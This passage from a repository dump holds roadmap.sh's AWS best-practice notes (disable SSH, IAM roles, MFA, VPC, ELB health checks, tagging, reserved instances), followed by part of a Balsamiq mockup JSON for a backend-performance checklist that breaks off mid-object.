    "content": "# Disable SSH Access\n\n> Disable SSH access to all servers.\n\nThis sounds crazy, I know, but port 22 should be disallowed for everyone in your security group. If there's one thing you take away from this post, this should be it: **If you have to SSH into your servers, then your automation has failed**. Disabling it at the firewall level (rather than on the servers themselves) will help the transition to this frame of thinking, as it will highlight any areas you need to automate, while still letting you easily re-instate access to solve immediate issues. It's incredibly freeing to know that you never need to SSH into an instance. This is both the most frightening and yet most useful thing I've learned.\n\nDisabling inbound SSH has just been a way for me to stop myself cheating with automation (Oh, I'll just SSH in and fix this one thing). I can still re-enable it in the security group if I need to actively debug something on an instance, since sometimes there really is no other way to debug certain issues. It also depends on your application; If your application relies on you being able to push things to a server via SSH, then disabling it might be a bad idea. Blocking inbound SSH worked for me, and forced me to get my automation into a decent state, but it might not be for everyone.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/ec2-roles.md",
    "content": "# EC2 Roles\n\n> Use EC2 roles, do not give applications an IAM account.\n\nIf your application has AWS credentials baked into it, you're \"doing it wrong\". One of the reasons it's important to use the AWS SDK for your language is that you can really easily use EC2 IAM roles. The idea of a role is that you specify the permissions a certain role should get, then assign that role to an EC2 instance. Whenever you use the AWS SDK on that instance, you don't specify any credentials. Instead, the SDK will retrieve temporary credentials which have the permissions of the role you set up. This is all handled transparently as far as you're concerned. It's secure, and extremely useful.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/elb-healthchecks.md",
    "content": "# ELB Healthchecks\n\n> Use ELB health check instead of EC2 health checks.\n\nThis is a configuration option when creating your scaling group, you can specify whether to use the standard EC2 checks (is the instance connected to the network), or to use your ELB health check. The ELB health check offers way more flexibility. If your health check fails and the instance gets taken out of the load balancing pool, you're pretty much always going to want to have that instance killed by auto-scaling and a fresh one take it's place. If you don't set up your scaling group to use the ELB checks, then that won't necessarily happen. The [AWS documentation on adding the health check](https://docs.aws.amazon.com/autoscaling/ec2/userguide/as-add-elb-healthcheck.html) has all the information you need to set this up.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/failover-event-subscription.md",
    "content": "# Failover Event Subscription\n\n> Set up event subscriptions for failover.\n\nIf you're using a Multi-AZ setup, this is one of those things you might not think about which ends up being incredibly useful when you do need it.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/group-permissions.md",
    "content": "# Group Permissions\n\n> Assign permissions to groups, not users.\n\nManaging users can be a pain, if you're using Active Directory, or some other external authentication mechanism which you've integrated with IAM, then this probably won't matter as much (or maybe it matters more). But I've found it much easier to manage permissions by assigning them only to groups, rather than to individual users. It's much easier to rein in permissions and get an overall view of the system than going through each individual user to see what permissions have been assigned.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/index.md",
    "content": "#\n"
  },
  {
    "path": "src/data/best-practices/aws/content/key-management-strategy.md",
    "content": "# Key Management Strategy\n\n> Decide on a key-management strategy from the start.\n\nAre you going to have one key-pair per group of instances, or are you going to have one key-pair you use for your entire account? It's easy to modify your authorized-keys file with a bootstrap script of course, but you need to decide if you want to manage multiple key-pairs or not, as things will get complicated later on if you try to change your mind.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/lock-security-groups.md",
    "content": "# Lock Security Groups\n\n> Lock down your security groups.\n\nDon't use `0.0.0.0/0` if you can help it, make sure to use specific rules to restrict access to your instances. For example, if your instances are behind an ELB, you should set your security groups to only allow traffic from the ELBs, rather than from `0.0.0.0/0`. You can do that by entering \"amazon-elb/amazon-elb-sg\" as the CIDR (it should auto-complete for you). If you need to allow some of your other instances access to certain ports, don't use their IP, but specify their security group identifier instead (just start typing \"sg-\" and it should auto-complete for you).\n"
  },
  {
    "path": "src/data/best-practices/aws/content/logs-information.md",
    "content": "# Logs Information\n\n> Store extra information in your logs.\n\nLog lines normally have information like timestamp, pid, etc. You'll also probably want to add instance-id, region, availability-zone and environment (staging, production, etc), as these will help debugging considerably. You can get this information from the [instance metadata service](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AESDG-chapter-instancedata.html). The method I use is to grab this information as part of my bootstrap scripts, and store it in files on the filesystem (/env/az, /env/region, etc). This way I'm not constantly querying the metadata service for the information. You should make sure this information gets updated properly when your instances reboot, as you don't want to save an AMI and have the same data persist, as it will then be incorrect.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/multi-factor-auth-iam.md",
    "content": "# Multi-factor Auth\n\n> IAM users can have multi-factor authentication, use it!\n\nEnable MFA for your IAM users to add an extra layer of security. Your master account should most definitely have this, but it's also worth enabling it for normal IAM users too.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/pre-warm-elb.md",
    "content": "# Pre-Warm ELB\n\n> Pre-warm your ELBs if you're expecting heavy traffic.\n\nIt takes time for your ELB to scale up capacity. If you know you're going to have a large traffic spike (selling tickets, big event, etc), you need to \"warm up\" your ELB in advance. You can inject a load of traffic, and it will cause ELB to scale up and not choke when you actually get the traffic, however AWS suggest you contact them instead to prewarm your load balancer. (Source: [Best Practices in Evaluating Elastic Load Balancing](https://aws.amazon.com/articles/best-practices-in-evaluating-elastic-load-balancing/#pre-warming)). Alternatively you can install your own load balancer software on an EC2 instance and use that instead (HAProxy, etc).\n"
  },
  {
    "path": "src/data/best-practices/aws/content/random-strings-keys.md",
    "content": "# S3 Keys\n\n> Use random strings at the start of your keys.\n\nThis seems like a strange idea, but one of the implementation details of S3 is that Amazon use the object key to determine where a file is physically placed in S3. So files with the same prefix might end up on the same hard disk for example. By randomising your key prefixes, you end up with a better distribution of your object files. (Source: [S3 Performance Tips & Tricks](https://aws.amazon.com/blogs/aws/amazon-s3-performance-tips-tricks-seattle-hiring-event/))\n"
  },
  {
    "path": "src/data/best-practices/aws/content/redundant-across-azs.md",
    "content": "# Redundant Across AZs\n\n> Always be redundant across availability zones (AZs).\n\nAZs can have outages, it's happened in the past that certain things in an AZ have gone down. Spreading your application into multiple AZs is as simple as adding a new AZ to your load balancer and starting an instance in that AZ. You should spread your load over two AZs at the very least! If you can afford it, being redundant across regions can also be well worth it, but this generally has a more complex set up cost and isn't always necessary. You can now copy AMIs between regions, and you can set up your Route53 records to balance traffic between regions, but you can't use a single ELB across regions.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/release-eips.md",
    "content": "# Release EIPs\n\n> Don't keep unassociated Elastic IPs.\n\nYou get charged for any Elastic IPs you have created but not associated with an instance, so make sure you don't keep them around once you're done with them.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/reserved-instances.md",
    "content": "# Reserved Instances\n\n> Use reserved instances to save big $$$.\n\nReserving an instance is just putting some money upfront in order to get a lower hourly rate. It ends up being a lot cheaper than an on-demand instance would cost. So if you know you're going to be keeping an instance around for 1 or 3 years, it's well worth reserving them. Reserved instances are a purely logical concept in AWS, you don't assign a specific instance to be reserved, but rather just specify the type and size, and any instances that match the criteria will get the lower price.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/s3-hive-results.md",
    "content": "# Hive Results\n\n> Specify a directory on S3 for Hive results.\n\nIf you use Hive to output results to S3, you must specify a directory in the bucket, not the root of the bucket, otherwise you'll get a rather unhelpful NullPointerException with no real explanation as to why.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/scale-down-events.md",
    "content": "# Scale Down\n\n> Scale down on INSUFFICIENT_DATA as well as ALARM.\n\nFor your scale-down action, make sure to trigger a scale-down event when there's no metric data, as well as when your trigger goes off. For example, if you have an app which usually has very low traffic, but experiences occasional spikes, you want to be sure that it scales down once the spike is over and the traffic stops. If there's no traffic, you'll get `INSUFFICIENT_DATA` instead of `ALARM` for your low traffic threshold and it won't trigger a scale-down action.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/scale-horizontally.md",
    "content": "# Scale Horizontally\n\nI've found that using lots of smaller machines is generally more reliable than using a smaller number of larger machines. You need to balance this though, as trying to run your application from 100 t1.micro instances probably isn't going to work very well. Breaking your application into lots of smaller instances means you'll be more resiliant to failure in one of the machines. If you're just running from two massive compute cluster machines, and one goes down, things are going to get bad.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/security-audit.md",
    "content": "# Security Audit\n\n> Set up automated security auditing.\n\nIt's important to keep track of changes in your infrastructure's security settings. One way to do this is to first set up a security auditer role ([JSON template](https://gist.github.com/bigsnarfdude/d0758b4fd335085623be)), which will give anyone assigned that role read-only access to any security related settings on your account. You can then use this rather [fantastic Python script](https://gist.github.com/jlevy/cce1b44fc24f94599d0a4b3e613cc15d), which will go over all the items in your account and produce a canonical output showing your configuration. You set up a cronjob somewhere to run this script, and compare its output to the output from the previous run. Any differences will show you exactly what has been changed in your security configuration. It's useful to set this up and just have it email you the diff of any changes. (Source: Intrusion Detection in the Cloud - [Presentation](https://awsmedia.s3.amazonaws.com/SEC402.pdf))\n"
  },
  {
    "path": "src/data/best-practices/aws/content/service-over-servers.md",
    "content": "# Service Over Servers\n\n> Servers are ephemeral, you don't care about them. You only care about the service as a whole.\n\nIf a single server dies, it should be of no big concern to you. This is where the real benefit of AWS comes in compared to using physical servers yourself. Normally if a physical server dies, there's panic. With AWS, you don't care, because auto-scaling will give you a fresh new instance soon anyway. Netflix have taken this several steps further with their [simian army](http://techblog.netflix.com/2011/07/netflix-simian-army.html), where they have things like [Chaos Monkey](https://github.com/netflix/chaosmonkey), which will kill random instances in production (they also have Chaos Gorilla to kill AZs and I've heard rumour of a Chaos Kong to kill regions...). The point is that servers will fail, but this shouldn't matter in your application.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/tag-everything.md",
    "content": "# Tag Everything\n\nPretty much everything can be given tags, use them! They're great for organising things, make it easier to search and group things up. You can also use them to trigger certain behaviour on your instances, for example a tag of env=debug could put your application into debug mode when it deploys, etc.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/terminate-ssl.md",
    "content": "# Terminate SSL\n\n> Terminate SSL on the load balancer.\n\nYou'll need to add your SSL certificate information to the ELB, but this will take the overhead of SSL termination away from your servers which can speed things up. Additionally, if you upload your SSL certificate, you can pass through the HTTPS traffic and the load balancer will add some extra headers to your request (x-forwarded-for, etc), which are useful if you want to know who the end user is. If you just forward TCP, then those headers aren't added and you lose the information.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/termination-protection.md",
    "content": "# Termination Protection\n\n> Use termination protection for non-auto-scaling instances.\n\nIf you have any instances which are one-off things that aren't under auto-scaling, then you should probably enable termination protection, to stop anyone from accidentally deleting the instance. I've had it happen, it sucks, learn from my mistake!\n"
  },
  {
    "path": "src/data/best-practices/aws/content/tools-for-logs.md",
    "content": "# Tools for Logs\n\n> Have tools to view application logs.\n\nYou should have an admin tool, syslog viewer, or something that allows you to view current real-time log info without needing to SSH into a running instance. If you have centralised logging (which you really should), then you just want to be sure you can read the logs there without needing to use SSH. Needing to SSH into a running application instance to view logs is going to become problematic.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/use-alias-records.md",
    "content": "# ALIAS Records\n\n> Use ALIAS records.\n\nAn ALIAS record will link your record set to a particular AWS resource directly (i.e. you can map a domain to an S3 bucket), but the key is that you don't get charged for any ALIAS lookups. So whereas a CNAME entry would cost you money, an ALIAS record won't. Also, unlike a CNAME, you can use an ALIAS on your zone apex. You can read more about this on [the AWS page for creating alias resource record sets](http://docs.aws.amazon.com/Route53/latest/DeveloperGuide/CreatingAliasRRSets.html).\n"
  },
  {
    "path": "src/data/best-practices/aws/content/use-iam-acount.md",
    "content": "# Use IAM Acounts\n\n> Everyone gets an IAM account. Never login to the master.\n\nUsually you'll have an \"operations account\" for a service, and your entire ops team will have the password. With AWS, you definitely don't want to do that. Everyone gets an IAM user with just the permissions they need (least privilege). An IAM user can control everything in the infrastructure. At the time of writing, the only thing an IAM user can't access are some parts of the billing pages.\n\nIf you want to protect your account even more, make sure to [enable multi-factor authentication](http://aws.amazon.com/iam/details/mfa/) for everyone (you can use Google Authenticator). I've heard of some users who give the MFA token to two people, and the password to two others, so to perform any action on the master account, two of the users need to agree. This is overkill for my case, but worth mentioning in case someone else wants to do it.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/use-iam-roles.md",
    "content": "# Use IAM Roles\n\nDon't create users for application, always use IAM roles if you can. They simplify everything, and keeps things secure. Having application users just creates a point of failure (what if someone accidentally deletes the API key?) and it becomes a pain to manage.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/use-official-sdks.md",
    "content": "# Use Official SDKs\n\n> If you need to interact with AWS, use the SDK for your language.\n\nDon't try to roll your own, I did this at first as I only needed a simple upload to S3, but then you add more services and it's just an all around bad idea. [The AWS SDKs](http://aws.amazon.com/tools/) are well written, handle authentication automatically, handle retry logic, and they're maintained and iterated on by Amazon. Also, if you use EC2 IAM roles (which you absolutely should, more on this later) then the SDK will automatically grab the correct credentials for you.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/use-vpc.md",
    "content": "# Use VPC\n\nSetting up a VPC seems like a pain at first, but once you get stuck in and play with it, it's surprising easy to set up and get going. It provides all sorts of extra features over EC2 that are well worth the extra time it takes to set up a VPC. First, you can control traffic at the network level using ACLs, you can modify instance size, security groups, etc. without needing to terminate an instance. You can specify egress firewall rules (you cannot control outbound traffic from normal EC2). But the biggest thing is that you have your own private subnet where your instances are completely cut off from everyone else, so it adds an extra layer of protection.\n\nIf you're interested in the internals of VPC, I highly recommend watching [A Day in the Life of Billion Packets](http://www.youtube.com/watch?v=Zd5hsL-JNY4) ([Slides](https://www.slideshare.net/AmazonWebServices/a-day-in-the-life-of-a-billion-packets-cpn401-aws-reinvent-2013)).\n"
  },
  {
    "path": "src/data/best-practices/aws/content/user-multiple-api-keys.md",
    "content": "# Multiple API Keys\n\n> Users can have multiple API keys.\n\nThis can be useful if someone is working on multiple projects, or if you want a one-time key just to test something out, without wanting to worry about accidentally revealing your normal key.\n"
  },
  {
    "path": "src/data/best-practices/backend-performance/backend-performance.json",
    "content": "{\n  \"mockup\": {\n    \"controls\": {\n      \"control\": [\n        {\n          \"ID\": \"1585\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"4\",\n          \"w\": \"1\",\n          \"h\": \"81\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"814\",\n          \"y\": \"2335\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"stroke\": \"dotted\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 81.09090909090901\n            }\n          }\n        },\n        {\n          \"ID\": \"1589\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"5\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"225\",\n          \"y\": \"718\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1590\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"6\",\n          \"w\": \"591\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"222\",\n          \"y\": \"413\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999449522687746,\n              \"y\": 0.0003335799224988862\n            },\n            \"p2\": {\n              \"x\": 590.6951281847257,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1591\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"7\",\n          \"w\": \"189\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"360\",\n          \"y\": \"389\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1592\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"8\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"512\",\n          \"properties\": {\n            \"controlName\": \"check:caching-strategies\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1593\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"9\",\n          \"measuredW\": \"508\",\n          \"measuredH\": \"58\",\n          \"w\": \"508\",\n          \"h\": \"58\",\n          \"x\": \"264\",\n          \"y\": \"512\",\n          \"properties\": {\n            \"controlName\": \"caching-strategies\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"508\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use cache aside, write-through, or read-through caching\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"442\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"30\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"patterns based on your application requirements.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1594\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"10\",\n          \"measuredW\": \"323\",\n          \"measuredH\": \"40\",\n          \"x\": \"661\",\n          \"y\": \"226\",\n          \"properties\": {\n            \"size\": \"32\",\n            \"text\": \"Backend Performance\"\n          }\n        },\n        {\n          \"ID\": \"1595\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"11\",\n          \"w\": \"361\",\n          \"h\": \"150\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"1059\",\n          \"y\": \"158\"\n        },\n        {\n          \"ID\": \"1596\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"12\",\n          \"measuredW\": \"332\",\n          \"measuredH\": \"26\",\n          \"x\": \"1075\",\n          \"y\": \"176\",\n          \"properties\": {\n            \"text\": \"Find the detailed version of this checklist\",\n            \"size\": \"18\"\n          }\n        },\n        {\n          \"ID\": \"1597\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"13\",\n          \"measuredW\": \"318\",\n          \"measuredH\": \"26\",\n          \"x\": \"1075\",\n          \"y\": \"204\",\n          \"properties\": {\n            \"size\": \"18\",\n            \"text\": \"With details on how to implement these\"\n          }\n        },\n        {\n          \"ID\": \"1598\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"14\",\n          \"measuredW\": \"329\",\n          \"measuredH\": \"51\",\n          \"w\": \"329\",\n          \"h\": \"51\",\n          \"x\": \"1075\",\n          \"y\": \"240\",\n          \"properties\": {\n            \"controlName\": \"ext_link:roadmap.sh\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"329\",\n                  \"h\": \"51\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"4273622\",\n                    \"borderColor\": \"4273622\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"172\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"79\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"color\": \"16777215\",\n                    \"size\": \"20\",\n                    \"text\": \"https://roadmap.sh\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1599\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"15\",\n          \"w\": \"373\",\n          \"h\": \"169\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"196\",\n          \"y\": \"148\"\n        },\n        {\n          \"ID\": \"1600\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"16\",\n          \"measuredW\": \"189\",\n          \"measuredH\": \"27\",\n          \"w\": \"189\",\n          \"h\": \"27\",\n          \"x\": \"226\",\n          \"y\": \"222\",\n          \"properties\": {\n            \"controlName\": \"ext_link:roadmap.sh/backend\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"156\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"33\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"Backend Roadmap\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"24\",\n                  \"measuredH\": \"24\",\n                  \"w\": \"24\",\n                  \"h\": \"24\",\n                  \"x\": \"0\",\n                  \"y\": \"3\",\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Icon\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"color\": \"16777215\",\n                            \"icon\": {\n                              \"ID\": \"circle\",\n                              \"size\": \"small\"\n                            }\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"Icon\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"color\": \"10066329\",\n                            \"icon\": {\n                              \"ID\": \"check-circle\",\n                              \"size\": \"small\"\n                            }\n                          }\n                        }\n                      ]\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1601\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"17\",\n          \"measuredW\": \"238\",\n          \"measuredH\": \"27\",\n          \"w\": \"238\",\n          \"h\": \"27\",\n          \"x\": \"226\",\n          \"y\": \"258\",\n          \"properties\": {\n            \"controlName\": \"ext_link:roadmap.sh/system-design\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"205\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"33\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"System Design Roadmap\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"24\",\n                  \"measuredH\": \"24\",\n                  \"w\": \"24\",\n                  \"h\": \"24\",\n                  \"x\": \"0\",\n                  \"y\": \"3\",\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Icon\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"color\": \"16777215\",\n                            \"icon\": {\n                              \"ID\": \"circle\",\n                              \"size\": \"small\"\n                            }\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"Icon\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"color\": \"10066329\",\n                            \"icon\": {\n                              \"ID\": \"check-circle\",\n                              \"size\": \"small\"\n                            }\n                          }\n                        }\n                      ]\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1602\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"18\",\n          \"measuredW\": \"209\",\n          \"measuredH\": \"32\",\n          \"x\": \"226\",\n          \"y\": \"172\",\n          \"properties\": {\n            \"size\": \"24\",\n            \"text\": \"Related Roadmaps\"\n          }\n        },\n        {\n          \"ID\": \"1603\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"19\",\n          \"w\": \"1\",\n          \"h\": \"76\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"812\",\n          \"y\": \"134\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 76.17275043077757\n            },\n            \"stroke\": \"dotted\",\n            \"color\": \"10027263\"\n          }\n        },\n        {\n          \"ID\": \"1682\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"20\",\n          \"measuredW\": \"75\",\n          \"measuredH\": \"28\",\n          \"x\": \"417\",\n          \"y\": \"400\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Caching\"\n          }\n        },\n        {\n          \"ID\": \"1683\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"21\",\n          \"w\": \"1\",\n          \"h\": \"2056\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"814\",\n          \"y\": \"287\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.48484848484849863\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999998,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 2055.448967650736\n            }\n          }\n        },\n        {\n          \"ID\": \"1701\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"22\",\n          \"w\": \"471\",\n          \"h\": \"118\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"578\",\n          \"y\": \"2249\"\n        },\n        {\n          \"ID\": \"1702\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"23\",\n          \"measuredW\": \"366\",\n          \"measuredH\": \"25\",\n          \"x\": \"631\",\n          \"y\": \"2268\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Continue Learning with following relevant tracks\"\n          }\n        },\n        {\n          \"ID\": \"1703\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"24\",\n          \"measuredW\": \"235\",\n          \"measuredH\": \"44\",\n          \"w\": \"235\",\n          \"h\": \"44\",\n          \"x\": \"801\",\n          \"y\": \"2305\",\n          \"properties\": {\n            \"controlName\": \"ext_link:roadmap.sh/system-design\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"235\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"194\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"21\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"System Design Roadmap\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1704\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"25\",\n          \"measuredW\": \"198\",\n          \"measuredH\": \"44\",\n          \"w\": \"198\",\n          \"h\": \"44\",\n          \"x\": \"593\",\n          \"y\": \"2305\",\n          \"properties\": {\n            \"controlName\": \"ext_link:roadmap.sh/backend\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"198\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"147\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"25\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Backend Roadmap\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1705\",\n          \"typeID\": \"__group__\",\n          